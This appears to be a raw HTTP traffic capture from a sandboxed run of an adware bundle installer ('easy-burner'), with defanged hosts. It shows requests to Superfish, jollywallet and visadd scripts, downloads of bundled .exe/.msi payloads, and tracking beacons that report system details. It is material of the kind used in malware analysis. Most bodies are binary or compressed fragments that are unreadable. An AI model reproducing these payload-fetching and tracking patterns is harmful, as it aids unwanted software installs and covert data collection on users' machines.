4015800Z0w0u0M0... ...........]d...N....P5....0...l.|[email protected]./...
.j3."d..Ii...............20150224015800Z....20150228015800Z0...*.H....
.........i-. .....`.>..bFy.L..... .. ......[u.Q.S..DJ=..vd..?.r....
..(.<.............~...9...w1..S...[q>...w..|<_..u.R;.........
.'3<n}..,....7-:........}.J_cI..H.&5zW#.o....g....Y./w...:..)...3.v
.g..-1.....1.........8Z....\(Bb......M..cz_.9.{.....h.....E..9j....O.Q
....0...0...0...........=......Ri..\..(.{..0...*.H........0..1.0...U..
..NL1.0...U....Amsterdam1%0#..U....Verizon Enterprise Solutions1.0...U
....Cybertrust1.0,..U...%Verizon Akamai SureServer CA G14-SHA10...1404
10115548Z..150410115548Z0..1.0...U....NL1.0...U....Amsterdam1%0#..U...
.Verizon Enterprise Solutions1.0...U....Cybertrust1806..U.../Verizon A
kamai SureServer CA G14-SHA1 Responder0.."0...*.H.............0.......
..f..).1.............Z.45..l. IB..r`...f....h.....h..._i'...J....|.c..
..E.D0bg.b.v..........:Q....W._U.w..3....i...k........t.....m.CO$..j@.
....>..Q.m......1/Z.r......L..a.n..;..KoIY.......fk{..c..d...IU....
...zy.X...zp...F.1..F......b...Z...=9.o...N.fL.%Z.........H0..D0... ..
...0......0L..U. .E0C0A.. .....>..0402.. ........&hXXps://secure.om
niroot.com/repository0~.. ........r0p06.. .....0..*hXXps://cacert.a.om
niroot.com/vassg141.crt06.. .....0..*hXXps://cacert.a.omniroot.com/vas
sg141.der0...U...........0...U.%..0... .......0...U.#..0....l.|..2...A
@...f./..0...U..........[us..Ni......f..0...*.H.............Fk:..%<<< skipped >>>

GET /affiliate/client?dist=141&sub=IF2Owsmtycl&name=ShopperPro HTTP/1.1

Accept: application/javascript, */*;q=0.8

Referer: hXXp://VVV.easy-burner.com/en/software/install/?campaign=14776&eme=×tamp=1424743235116948&tracker=2200&tk=f868fdc86af649be79e91ca000a90b10&mso=5&mss=3&sed=8&suid=FD8vibN_U&download_country=en&ms=5&status=5&ms2=0&status2=0&ms3=0&status3=0&sms=0&itime=1424743354&ps=0&p_status=1

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: api.jollywallet.com

DNT: 1

Connection: Keep-Alive


HTTP/1.1 200 OK

Content-Encoding: gzip

Content-Type: application/javascript

Date: Tue, 24 Feb 2015 02:02:59 GMT

Expires: Sat, 28 Feb 2015 02:02:59 GMT

P3P: policyref="/w3c/p3p.xml", CP="CURa ADMa DEVa OUR IND DSP CAO COR"

Server: nginx/1.4.7

X-Powered-By: PHP/5.4.30

transfer-encoding: chunked

Connection: keep-alive
20a1.............}ks.F..g.W..s.b..............g...E..<..IH @..$Z...
[email protected].}7.1.n..GV..2.....{7.n...v;..M.9...:.n..oi....^`..Q..O.......
....C2.v.i.'.~.@..<~...j.]..a.k-7MM.....)\..X.. Qs...TX.q.....A.Kc.
...[(&`... .....j.c.C..V..x..g..0..VxyI.S....4..J..<......Z.Q..... 
.1..b...n.D^^..=.T....f........y.[(.....d....u..x.E3.24..$..u.l.K?...$
...]...X....~.W....A_.......f.~.Ro...%.u.u.`...?.n.c.L.....g.......p..
.7. nl......)7..V\..5fDC.....Q....:k......F.wy.......8..YAy..*.M-2..7p
?[&)H.<[email protected]..<.BV...L...)[..(..u.(.....0f.4p.f..R........0
_.z.. ..n...B...Q.gR.kE...D.0V.`.M}..#...}V/.....E..Pk..D.....)[email protected].'
.7..y.n...A..#/[email protected]..%....%pI..........".....W..9V.0-...
=\......#\..I..0....s..u...s....`G.s...x..eBi J...`.._..!...P.....N..&
YP...XS.)]cD..v7....E.................Q..a.m.>^.....A....e..{......
....'Q.<]4p......6..C.........t./n._c.n.. .l..p{..[.t....d......g.E
'........=J~c...ejJE,%4.EUo.........F.6r.\...2.9...Kc.s#./..[.f.....T]
...K. .m....9h,.c,....G...]x.].i.-.9pG..e.........Q,.v....v....6..y.5.
.M..60...f=Z....b....f....x.-..l.HW.?`.d4....j)..............`.<0..
E5...#C...F._..g..aL. ]..T.{...>:T...... Ihh....P..@;"[email protected]..'..r..`
.z./..P..q.b..EA_..Kd.k....e.H.G......l..G...Q.:j.x........B..."X.# Q.
T.8.4Gz. 5....5!'$H..R?j\.@..= [email protected]&....4..$-f...UN....~1.
.(P...'../.&.K....=........Z. .G...k............f.....C....w..........
}..'x..../...O.......]..Q....G.9UMB%..G....{.........eo....x........,.
..(7..@L..:x,..jO.{.;X*.|l.e....^.'l..O...VH:l.e...3.......ucjcS..<<< skipped >>>

GET /ws/sf_preloader.jsp?dlsource=viktczu&userId=78116d2dd3b54062b3b8b2539525da70&partnername=ShopperPro&CTID=xUSIF2Owsmtycl&ver=2015.2.22.7.48 HTTP/1.1

Accept: application/javascript, */*;q=0.8

Referer: hXXp://VVV.easy-burner.com/en/software/install/?campaign=14776&eme=×tamp=1424743235116948&tracker=2200&tk=f868fdc86af649be79e91ca000a90b10&mso=5&mss=3&sed=8&suid=FD8vibN_U&download_country=en&ms=5&status=5&ms2=0&status2=0&ms3=0&status3=0&sms=0&itime=1424743354&ps=0&p_status=1

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: VVV.superfish.com

DNT: 1

Connection: Keep-Alive


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 24 Feb 2015 02:03:02 GMT

Content-Type: text/javascript

Transfer-Encoding: chunked

Connection: keep-alive

Set-Cookie: JSESSIONID=6C3B826FDC68708642C4BFFDEEC209A6; Path=/ws

Last-Modified: Sat, 1 Jan 2011 00:00:00 GMT

Cache-Control: public, max-age=2592000

Access-Control-Allow-Origin: *

Content-Encoding: gzip
600a...............z#7..zm...C..cQ.D.....rm...v/..eOO/..;I&...LVfR"U.u
._e.......d.....!.R.{..E.L[.@ ....@ ......J.yo....b......^t..G.utz.U."
.J...~..2..Y\,.|..Ve.....o...8.|....G.WU..m......(.,.GI........uUd?.'E
...iT.P..'e.O..h.f......t..H^U?.....H.yQ....T.....h...M(m.{&.\.?-.b..*
.....^.8o.IY=...Y...wS<i...g*....p.;(....... ..>.8.>...q..EO~
.1.=..D.D....9...f...Bh......e.|..._...E>[.......v.#...].....O.....
I.T6.\..d)k^...n..#..W.e....5.....a.)..[B...A.t.Vi..BrH.]G.<)^Vi.*I
)M.J..._ .......F..0..E.....E2.zM/..l..wK...<=...d.a.Y...w..4.....T
...j..I._E..2....2yw.t{.)......w.......u.......S...b...iU-.......~=...
|vp].TE<..\@l.J.<..v[.........^.J3)F...eD';oU".I...QY.Fr.[...E..
hh..n.o...45..e1...r......_oQQ..a.e....'.u..."JQ.B.Z/.|...";f....l,.A.
..F[2#..d.@/...J,.r.G{zcP.U...!. 9J8G,..4.Wm....G{.z......ut..........
.....k/.2:...X...~....z.r..W...5O...;.. w/...Eh.?X..{5?....^4..8..E.^t
.&h..\..m......9......$.a...D4Co..D. .=xC.....3;{...).Jf.N..$.._f.....
..X.V:.l>....}.....BMg.U.b.f.^..6.`.....c.k.:.v].._........?.r6z...
....m.L].@USV/.......2o....|Y...$..y....U.u..h..;......$.fG..I.][email protected]
...'.5.T..5...2-..6...z.......e...C2T|5a..Q..5..K.x...6?.O..v........-
...Mf.E4....[[email protected]...^.r9d.X1
.7..,.A....:,..R...i.c1..m......H...M......~462.hF...R.O..........k...
.N"....*\..)3d-s.T...*....|....!.?...:Y..cqtC.......t.I.*..w:...r..{..
bom.....d..<4|`.7..g.e..]....}Q...<.4.......z[/...E>G..;...e.
..6..Ep?.)...E.%7[...U.n.|<.f.....U.....U.....b...Zk..N....p:..<<< skipped >>>

GET /ws/userData.jsp?dlsource=viktczu&userid=NTBCNTBC&ver=2015.2.22.7.48 HTTP/1.1

Accept: text/html, application/xhtml xml, */*

Referer: hXXp://VVV.easy-burner.com/en/software/install/?campaign=14776&eme=×tamp=1424743235116948&tracker=2200&tk=f868fdc86af649be79e91ca000a90b10&mso=5&mss=3&sed=8&suid=FD8vibN_U&download_country=en&ms=5&status=5&ms2=0&status2=0&ms3=0&status3=0&sms=0&itime=1424743354&ps=0&p_status=1

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: VVV.superfish.com

DNT: 1

Connection: Keep-Alive


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 24 Feb 2015 02:05:02 GMT

Content-Type: text/html;charset=UTF-8

Transfer-Encoding: chunked

Connection: keep-alive

Set-Cookie: JSESSIONID=4A753AEA0DBE04BB75AB03DFDA80CE64; Path=/ws

P3P: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"

Last-Modified: Sat, 1 Jan 2011 00:00:00 GMT

Cache-Control: public, max-age=2592000

Access-Control-Allow-Origin: *

clientCountry: UA

Content-Encoding: gzip
2b27.............}.s.....T.....%."...n..2......m9".......%......)E..~.
...3;.)EU.\&...y...k.{f..........Yq...>....(...E9.<......\.Pk9.W
...~?.<.g.r..w.a^v...u.Y....v..._..M.<zu....tT_.xQ......>Z..5
.Q....?*.........j...l...Y.1....)....r.*.....-..byQ.M9-..rR..*........
....BW...jY.G...T..C...pY.G..@`.........S...>...K>.f...T.jY.....
.j...n...!H'..#?.^.`7t..Qp....k^....CR.._...h\.<.f.U..<..~...^..
...7;..#|........n.9.l......o.v.o......n.W0.. .UgE........bY&.P..?..r5
...E.....n...n...<_.....&.....^.?./...T..X..O.!..........[.[\U.I}..
.......(.Tg..VY5..dY/F.%.....>~#..f'[email protected].|
5....?......../O..>{:<=.U.P.......=...........&(...w..t.F![\]...
.0....1.]Q...Y..U..T~......c.?...w.................r.b..B.....2C......
^..f@:Y..".......gw.....A.!y......P>.zh...(...Q5=.....e.P.^.......k
...-..y.<.......T .'zm..6..?,..b.X.>..Z.....,.e.......P.f...i...
......m..8..j.v4~.......m=]j. ...m.....w..r.b.........b..u...0....vv..
?...r.Z..P.Vr a.....6....@|.X..I~uQ./0.I...A`[email protected]]\.
.wX....k.,..~i{..[@..w..s.B}.|.#.c...\a.Ey^5..XK..3H.0. |&......ZA.W` 
T/...f.X.. 8G.... .p..z7M.T ...F.M......X...vl....T......0<......K?
.p|Q...6......QE...z.. l.}` .#j4uqO&....2..4.....4....hZ.V........c...
..c..."..g.yD..A......&..4P...0_.3./......f...k....i..fN..F}.._.2...D.
..p.d.-?.<L.........?...S.k..m..\?K.f..M.s...&..,..9.......,.d..G\.
....k..M%..,[email protected]<'...!.Q....k.a...nV.._...a........AGQ0!a...
..G.....&.LJ. .O..H..1X...^-{C........P..A....q......o!.d.I.M..s.s<<< skipped >>>

GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1

Range: bytes=0-

User-Agent: Better Installer(Mozilla)

Host: d2otsfra4otprh.cloudfront.net

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 1286713

Connection: keep-alive

Cache-Control: no-cache

Last-Modified: Mon, 23 Feb 2015 16:00:40 GMT

Accept-Ranges: bytes

ETag: "a07318df814fd01:0"

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 02:00:26 GMT

Content-Range: bytes 0-1286712/1287434

X-Cache: Miss from cloudfront

Via: 1.1 462cdb6020d941cbe166e3fece73ca6d.cloudfront.net (CloudFront)

X-Amz-Cf-Id: _nF6qF5hAkSwm6lMQGDxhIPhAqbdBLB0nK8eErFDUZabL4KAUCzHrw==
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1p.:u..iu..i
u..i...iw..iu..i...i...id..i!2.i...i...it..iRichu..i........PE..L.....
oS.................\...........2.......p....@.........................
.................................................s....................
...................................................................p..
.............................text....[.......\.................. ..`.r
data.......p.......`..............@[email protected]..........
[email protected][email protected]
..............@..@....................................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F.E.u..H...
[email protected]@..e...E..E.P.u....r@
..}[email protected]... M.......M....3.....FQ.....NU..M.....
.....VT..U.....FP..E...............E.P.M...Tp@[email protected]
....E..9}[email protected].}.j.W.E......E.......@[email protected]..
[email protected]<[email protected] [email protected]...\r@._
^3.[.....L$...7B...Si.....VW.T.....tO.q.3.;5.7B.sB..i......D.......t.G
.....t...O..t .....u...3....3...F.....;5.7B.r._^[...U..QQ.U.SV..i.<<< skipped >>>

GET /mirror/mystartsearch/default/setup.exe HTTP/1.1

Range: bytes=201020-

User-Agent: Better Installer(Mozilla)

Host: d1x8oi0nw94fx8.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 120612

Connection: keep-alive

Date: Sun, 22 Feb 2015 05:45:37 GMT

x-amz-version-id: pJx1Noe1nsjOrolbXLoeUI7xmdja2CTU

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33188/mtime:1422525589/atime:1422525603/ctime:1422525590

Cache-Control: max-age=3600

Last-Modified: Thu, 29 Jan 2015 10:00:41 GMT

ETag: "31f8d1cffb02dff93646f81d8ce3dd75"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 201020-321631/321632

Age: 637

X-Cache: Hit from cloudfront

Via: 1.1 d6fa2e1de8f392301c10fd5bb7b263c3.cloudfront.net (CloudFront)

X-Amz-Cf-Id: 303H0UpbHyPB9bIfXhm3XjolpUHeHJ_WZJqYhbNmZaAwxC0UWeECkw==
........................8...V...j.....................................
..........(...P...b...p.......p.......h...............................
................................H.................C...C...C...C...C.o.
C.{[email protected].`.C.........u.A...A.m.B...B.[.B...A..bB...........B.w.A.
...................T........<...8}[email protected]...`.....y.......
..K..t}C.$vA...A...A..vA..vA.gvA.generic..}C.$vA..vA..vA..vA..vA.gvA..
[email protected].....~C.$vA..vA..vA..vA..vA.gvA.system..T~C.$vA..vA
..vA..vA..vA.gvA.iostream stream error.....C..#A.*....~C..yA.C.....C.0
rA...A..~C..{[email protected]..{A...A.H.C.0rA...A.............bad allocation.
...C..{A...A.regular expression error.....$C.DsC.DsC..$C..$C.$$C.$$C.,
$C.4$C.<$C.D$C.L$C.T$C.\$C.....r...a...r.b.....w.b.....a.b.....r. .
....w. .....a. .....r. .b...w. .b...a. .b...................!..."...2.
..*...............#...3... .........C...A...A.Unknown exception.....C.
[email protected].................
......................csm................. ...........Visual C   CRT: 
Not enough memory to complete call to strerror..LC_TIME.LC_NUMERIC..LC
_MONETARY.LC_CTYPE....LC_COLLATE..LC_ALL...%C......{B..%C...C..{B..%C.
..C.R.A..%C...C.2xB..%C...C.DuB..%C...C.^tB...........................
..... !"#$%&'()* ,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ
[\]^_`abcdefghijklmnopqrstuvwxyz{|}~.._.,.;...=...=;..................
......................................................................
..................................................................<<< skipped >>>

GET /script/14567725608/preload.js?subid=F2Owsmtycl1-78116d2d-d3b5-4062-b3b8-b2539525da70 HTTP/1.1

Accept: application/javascript, */*;q=0.8

Referer: hXXp://VVV.easy-burner.com/en/software/install/?campaign=14776&eme=×tamp=1424743235116948&tracker=2200&tk=f868fdc86af649be79e91ca000a90b10&mso=5&mss=3&sed=8&suid=FD8vibN_U&download_country=en&ms=5&status=5&ms2=0&status2=0&ms3=0&status3=0&sms=0&itime=1424743354&ps=0&p_status=1

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: cdn.visadd.com

DNT: 1

Connection: Keep-Alive


HTTP/1.1 200 OK

Date: Tue, 24 Feb 2015 02:03:00 GMT

Content-Type: application/javascript

Transfer-Encoding: chunked

Connection: keep-alive

Set-Cookie: __cfduid=deb45b35323cddbba4067ed21a6d7db351424743380; expires=Wed, 24-Feb-16 02:03:00 GMT; path=/; domain=.visadd.com; HttpOnly

Etag: W/"d4396fb3780e2aa79ed43e44c1ef851458590e04"

Cache-Control: public, max-age=14400

CF-Cache-Status: MISS

Expires: Tue, 24 Feb 2015 06:03:00 GMT

Server: cloudflare-nginx

CF-RAY: 1bd815900bb500dd-AMS

Content-Encoding: gzip
a1e..............]....}.E.scI...l...........u..K....h.YYTIj?......,...
q..C........ @&\.u!)..hGW.=.Kv?....e.......V.2o0.5.Y0}q......... ...#.
...Q.I.p9...N.G.Y....Y.....b ..j:|.z:}Y..a.|y5|1y9.../_......W........
e.....k............ e.......pI."..F.Y..%Y...A.3kph.......T. %oy...16..
.l;[email protected]....`....l:.4.......fA....7$....` .?..So".?.B.
/8md.......b..h...I%....l...e..m1..e.....9..5c... \.%c....j.Y....G.aL.
... )...}d.l.D}[email protected]...{zK.RR.F...IC...B.................b3..
%.....[.Wc,...[.Yb.4xM....g...D......B..j..-....*.....T...9'.j......I.
..$|.K...hbvGx^.......f/..IR.z..5.[9..e..%-d.CK....(AT.9.$..4.......(A
%As.I....b......*..OAR.r.o..Y..vKj9.X.A.....A.....0..q.F(...........k.
.N......8.-. .<...Y.:/..^........z..T.;...q5....V....C2T.3...'....e
n.Rd..:..<...3....."Vj.L..}.....R......>..H...?t.W.~..'X...0.E..
@.D.&.."....e I....$..A.?.. .0..q`.......//..W`..6KV>F;g8.MC....Ve.
.F.n......&........?.-....e......6.3.D.d.m..dq.9-h.O..)n.P9.7(k.... ".
..](n.R......U........u.l.u;..=...............T.4..H....G(A(R1k......}
ON...s...a.Q4]1..l..7...8V'5.bD..<...Q.b.i.R.]f..!t%oI...`.u....>
;.k...t0F.....<P2. [email protected].=.q6..HN.......&.N.6J..'u.|U.Y.".[..
.B.dq.?w.o..".1vK.C..kp.;\.$!.%~.I....>@$.^.u."....:$..........E..p
m.Q..=...:mr%7..-.Dqh..m~......CC9....W.............<.V..i.N..X..}.
T...Qb....1.'.s.SQ...2R......5U...D......n...*....?..EN..,o....5...X..
gr....6.....h.'...x.o....C..3.kVy.%.s%.....V.w..G....h..}WU....Ft...G.
....%.{..;NvL...^...1.D.P...g....<..CtJ..3.....^z.T...nO.......<<< skipped >>>

GET /script/layer.js?pid=14567725608&ln=en HTTP/1.1

Accept: application/javascript, */*;q=0.8

Referer: hXXp://VVV.easy-burner.com/en/software/install/?campaign=14776&eme=×tamp=1424743235116948&tracker=2200&tk=f868fdc86af649be79e91ca000a90b10&mso=5&mss=3&sed=8&suid=FD8vibN_U&download_country=en&ms=5&status=5&ms2=0&status2=0&ms3=0&status3=0&sms=0&itime=1424743354&ps=0&p_status=1

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: cdn.visadd.com

DNT: 1

Connection: Keep-Alive


HTTP/1.1 200 OK

Date: Tue, 24 Feb 2015 02:03:01 GMT

Content-Type: application/javascript

Transfer-Encoding: chunked

Connection: keep-alive

Set-Cookie: __cfduid=d7dcf13535587e1343e5a1c08b7c06bd01424743381; expires=Wed, 24-Feb-16 02:03:01 GMT; path=/; domain=.visadd.com; HttpOnly

Etag: W/"b9673bba135019fbf59676ee76f8c1ee66520aad"

Cache-Control: public, max-age=14400

P3p: CP="CAO DSP COR CURa ADMa DEVa PSAa PSDa IVAi IVDi CONi OUR OTRi IND PHY ONL UNI FIN COM NAV INT DEM STA"

CF-Cache-Status: HIT

Expires: Tue, 24 Feb 2015 06:03:01 GMT

Server: cloudflare-nginx

CF-RAY: 1bd815942c5e00dd-AMS

Content-Encoding: gzip
600a.................6.(...Bf..h..R.N.n...O...'..=3.....DH.M..I.%.}.l.
}.}..W.\I..\vf.w.....B.P..@.._l.y%...^....-G."...j#Fe..U.WY.".VVEx....
....J..u\.W......E..{{O.....<....,.@f.$.o.".F...T.....q.A..Q".2.o.|
#.......E..w..f..Q..f.....F...`.3.inz.........E...".*....v..../.....8.
q....tE......!^.Q.Ie.?|_......q.1.....`"'...9.7.t........t......0P.*..
..X...l.z......"... ..m8,.:?..I)".."....>.4ABU.\.w.ry....q...<.b
...%..5....wG...p;..X.RR..."....&......I.2....R.-.U]...aD.'....C......
]@..{.a...Zd..(.Y*..qZ.h..\n).*.bxQ....F0....f...$..v.{y...)..S.=.f..R
(c..U%.3Pi....... ..4.f....D\.h..).uCd.........'".......fh......1.6...
B...Z..^.Q....d.).....|.gKA..8...,...Q;N....on..Q...mu<K..c...5...J
...*.R(ASi0&.Z^.,./FKQ.. .2...."...Z.Hf.(.8....C./S.I....z..D...J.....
.h../......d.C.C........v....m.Bd..y"T.AD }T.K....(..'.Y6.U..-.6qQ.WY.
...kU...=..).&.W2M~w.)..[uqZ|....,M.Q.....P.2.^.E.@%.?....'....!.PY..T
.!.6.........m..v..kn..$./..,.1...Z...e_..Z.0....5.M^Jh.....Ym._0.l8.S
._.P..)..z.y).....4U..F..3}r{.U..@._....*......I.\..-...|.a.(.5..r....
.....$.i...P..6.V....o.<..)[email protected]>...."OTg9.4
...`...d.b.nJ.Mr.tD....?..r4. ..G.^..........r.^On..%([email protected]....
...)...eE..k...F....\..1...q.D5/O..FU...F./.R..*....t4....X_...lL=&.Ra
.*.6...[kp..x-R.'yY.....o^...<.Ede.....=\.),...n....);...}G..>w.
.3..#..6..".E.........]SDG.'.....b.....,'.....R<m...".qY.6..TT.k...
....EU....._M.K....p..y.....]...&..#.........xw..Q4....7$..dm 57&.A.N.
u.......VKU.u....@.#..}...}....r.......6.....R...Uw&.r(O.......Rr.<<< skipped >>>

GET /monetization.gif?event=3&ibic=27B9CE5956064EA68E6419D90F46D27BIE&verifier=b5a8ce9b2fd904f8d63dd177efc4c201&campaign=000820&country=ua&app=65743&os=7(64bit)&defbro=ie&chver=35.0.1916.153&ffver=29.0.1&iever=10.0.9200.16521&starttime=1424743349&asw=0_1073750533_-2147474944_0&browser=ff&rnd=1424743349 HTTP/1.1

Host: logs.ourinfoonlinestack.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

Date: Tue, 24 Feb 2015 02:02:13 GMT

Keep-Alive: timeout=10, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1389114507"

Last-Modified: Tue, 07 Jan 2014 17:08:27 GMT

Cache-Control: max-age=86400

Content-Length: 35

Content-Type: image/gif

X-HW: 1424743334.dop012.am4.t,1424743333.cds058.am4.c
GIF89a.............,...........D..;HTTP/1.1 200 OK..Date: Tue, 24 Feb 
2015 02:02:13 GMT..Keep-Alive: timeout=10, max=100..Connection: Keep-A
live..Accept-Ranges: bytes..ETag: "1389114507"..Last-Modified: Tue, 07
 Jan 2014 17:08:27 GMT..Cache-Control: max-age=86400..Content-Length: 
35..Content-Type: image/gif..X-HW: 1424743334.dop012.am4.t,1424743333.
cds058.am4.c..GIF89a.............,...........D..;....


GET /monetization.gif?event=4&ibic=27B9CE5956064EA68E6419D90F46D27BIE&verifier=b5a8ce9b2fd904f8d63dd177efc4c201&campaign=000820&country=ua&app=65743&os=7(64bit)&defbro=ie&chver=35.0.1916.153&ffver=29.0.1&iever=10.0.9200.16521&starttime=1424743349&asw=0_1073750533_-2147474944_0&browser=ff&rnd=1424743349 HTTP/1.1

Host: logs.ourinfoonlinestack.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

Date: Tue, 24 Feb 2015 02:02:20 GMT

Keep-Alive: timeout=10, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1389114507"

Last-Modified: Tue, 07 Jan 2014 17:08:27 GMT

Cache-Control: max-age=86400

Content-Length: 35

Content-Type: image/gif

X-HW: 1424743334.dop012.am4.t,1424743340.cds058.am4.c

GIF89a.............,...........D..;HTTP/1.1 200 OK..Date: Tue, 24 Feb 
2015 02:02:20 GMT..Keep-Alive: timeout=10, max=100..Connection: Keep-A
live..Accept-Ranges: bytes..ETag: "1389114507"..Last-Modified: Tue, 07
 Jan 2014 17:08:27 GMT..Cache-Control: max-age=86400..Content-Length: 
35..Content-Type: image/gif..X-HW: 1424743334.dop012.am4.t,1424743340.
cds058.am4.c..GIF89a.............,...........D..;..

GET /ads/conversion/990060061/?random=1142152897&cv=7&fst=1424743400068&num=1&fmt=2&value=0&label=EsmoCKu0jgIQnbyM2AM&bg=FFFFFF&hl=it&guid=ON&u_h=901&u_w=1716&u_ah=857&u_aw=1716&u_cd=24&u_his=1&u_tz=120&u_java=true&u_nplug=0&u_nmime=0&frm=0&url=http://VVV.easy-burner.com/en/software/install/?campaign=14776&eme=×tamp=1424743235116948&tracker=2200&tk=f868fdc86af649be79e91ca000a90b10&mso=5&mss=3&sed=8&suid=FD8vibN_U&download_country=en&ms=5&status=5&ms2=0&status2=0&ms3=0&status3=0&sms=0&itime=1424743354&ps=0&p_status=1&vis=1&ctc_id=CAIVAgAAAB0CAAAA&ct_cookie_present=false&cdct=2&convclickts=0&random=3598831848&ipr=y HTTP/1.1

Accept: text/html, application/xhtml xml, */*

Referer: hXXp://VVV.easy-burner.com/en/software/install/?campaign=14776&eme=×tamp=1424743235116948&tracker=2200&tk=f868fdc86af649be79e91ca000a90b10&mso=5&mss=3&sed=8&suid=FD8vibN_U&download_country=en&ms=5&status=5&ms2=0&status2=0&ms3=0&status3=0&sms=0&itime=1424743354&ps=0&p_status=1

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

DNT: 1

Connection: Keep-Alive

Host: VVV.google.com.ua


HTTP/1.1 200 OK

Date: Tue, 24 Feb 2015 02:03:01 GMT

Pragma: no-cache

Expires: Fri, 01 Jan 1990 00:00:00 GMT

Cache-Control: no-cache, no-store, must-revalidate

Content-Type: text/html; charset=UTF-8

X-Content-Type-Options: nosniff

Content-Encoding: gzip

Server: adclick_server

Content-Length: 76

X-XSS-Protection: 1; mode=block

Alternate-Protocol: 80:quic,p=0.08

............(....I.O.T(...I.UJJL.N/./.K.M.../.*)J. .H,J. Q......R`....
h.?...HTTP/1.1 200 OK..Date: Tue, 24 Feb 2015 02:03:01 GMT..Pragma: no
-cache..Expires: Fri, 01 Jan 1990 00:00:00 GMT..Cache-Control: no-cach
e, no-store, must-revalidate..Content-Type: text/html; charset=UTF-8..
X-Content-Type-Options: nosniff..Content-Encoding: gzip..Server: adcli
ck_server..Content-Length: 76..X-XSS-Protection: 1; mode=block..Altern
ate-Protocol: 80:quic,p=0.08..............(....I.O.T(...I.UJJL.N/./.K.
M.../.*)J. .H,J. Q......R`....h.?.....

GET /gv/en/easyburner.msi HTTP/1.1

Referer: hXXp://app.easy-burner.com/gv/en/easyburner.msi

User-Agent: dwplayer

Host: app.easy-burner.com

Connection: Keep-Alive

Cache-Control: no-cache

Cookie: install_cookie=14776,,; softdown=1424743234122287

vent is received.ErrorName of property defining location of working di
rectory.MessageEventMappingAttributeBinary stream. The binary icon dat
a in PE (.DLL or .EXE) or icon (.ICO) format.DisplayFeature_ParentThe 
value string associated with this item. Selecting the line will set th
e associated property to this value.This field contains a Formatted st
ring value for the full path to the language neutral file that contain
s the MUI manifest.FeatureComponentsFile sequence number for the last 
file for this media.Name of the control. This name must be unique with
in a dialog, but can repeat on different dialogs. Unique identifier fo
r directory entry, primary key. If a property by this name is defined,
 it contains the full path to the directory.FileNameReference to the e
ntry in this table specifying the default parent directory. A record p
arented to itself or with a Null parent represents a root of the insta
ll tree.FileSizeLanguageThe default sub-path under parent's path.Versi
onIf some or all of the files stored on the media are compressed in a 
cabinet, the name of that cabinet.Primary key, integer to determine so
rt order for table.Foreign key into Feature table.Foreign key into Com
ponent table.Default;Disable;Enable;Hide;ShowVertical position of the 
dialog on a 0-100 scale. 0 means top end, 100 means bottom end of the 
screen, 50 center.DirPropertyKeyInstallExecuteSequenceInstallUISequenc
eListBoxListViewBinary_Feature attributesSequence with respect to the 
media images; order must track cabinet order.A named property to b

<<< skipped >>>

GET / HTTP/1.1

Host: ipgeoapi.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

Date: Tue, 24 Feb 2015 02:02:12 GMT

Connection: keep-alive

Content-Type: application/json;charset=utf-8

Content-Length: 40

Server: thin 1.4.1 codename Chromeo

Via: 1.1 vegur

{"country_code":222,"country_name":"UA"}HTTP/1.1 200 OK..Date: Tue, 24
 Feb 2015 02:02:12 GMT..Connection: keep-alive..Content-Type: applicat
ion/json;charset=utf-8..Content-Length: 40..Server: thin 1.4.1 codenam
e Chromeo..Via: 1.1 vegur..{"country_code":222,"country_name":"UA"}..

GET /files/third/2015/01/16/172511/350/XTab_4.0.2.1716.exe HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.inifkhjr.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 24 Feb 2015 02:01:19 GMT

Content-Type: application/octet-stream

Content-Length: 2463400

Last-Modified: Fri, 16 Jan 2015 09:25:11 GMT

Connection: keep-alive

Expires: Thu, 26 Mar 2015 02:01:19 GMT

Cache-Control: max-age=2592000

Accept-Ranges: bytes

p.y....I^.@..,....s..pG0......V...PL...N..PL...N..PL...N.n..0.@......,
...QO..9}.$...U...ZM\....!../...x...........Sw@.*H&......Kw........p..
.rr.F.n.U...C..N"SPN.?`E.....}[email protected].[..%o....C.....~F...PL...N..
